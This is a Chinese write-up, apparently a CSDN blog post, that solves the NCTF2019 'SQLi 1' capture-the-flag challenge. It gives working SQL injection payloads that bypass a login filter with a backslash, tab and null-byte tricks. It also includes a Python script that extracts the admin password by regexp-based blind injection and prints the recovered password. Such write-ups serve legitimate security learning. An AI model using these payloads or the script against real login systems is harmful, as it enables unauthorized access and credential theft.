[NCTF2019]SQLi 1

打开题目,是一个登录框

目录扫描扫出来一个flag.php,hint.txt,robots.txt等

flag.php啥也没有,访问hint.txt,发现有过滤和得到flag的条件,如果passwd的值等于admin的密码则登录成功,但是admin也被过滤了

没有过滤 \,过滤的空格可以替换为%09,末尾多出的'可以用%00代替

构造paload:username=\&passwd=||%091;%00

看到查询成功会跳转到welcome.php,这样一来就要获得admin账户密码了,构造成功登录是不行的

可以用正则匹配,匹配passwd来进行盲注,匹配任何以"^ "开头的字符串(因为是正则匹配,所以需要限定字符串开头,否则在字符串中找到也会算为真)

Paload:username=\&passwd=||%09passwd%09regexp%09"^a";%00

以a开头不是

依次类推,得到密码的第一个字母是 y

然后使用脚本跑出全部的密码:you_will never know7788990

import requests

from urllib import parse

import time

strings = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_{}-~'

url = 'http://d18242a4-5364-417b-8db6-aca4f0c923fb.node5.buuoj.cn:81'

passwd = ''

i = 1

while i < 80:

    for one_char in strings:

        data = {

            'username':'\\',

            'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')

        }

        rs = requests.post(url,data).content.decode('utf-8')

        time.sleep(0.01)

        if 'welcome' in rs:

            passwd = passwd + one_char

            print("\r", end="")

            print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')

            i = i + 1

            break

        if one_char=='~' and 'welcome' not in rs:

            print('\n密码共'+str(i-1)+'位,已匹配完成')

            i = 80

            break

然后使用匹配到的密码随便使用一个用户名登录一下获得flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值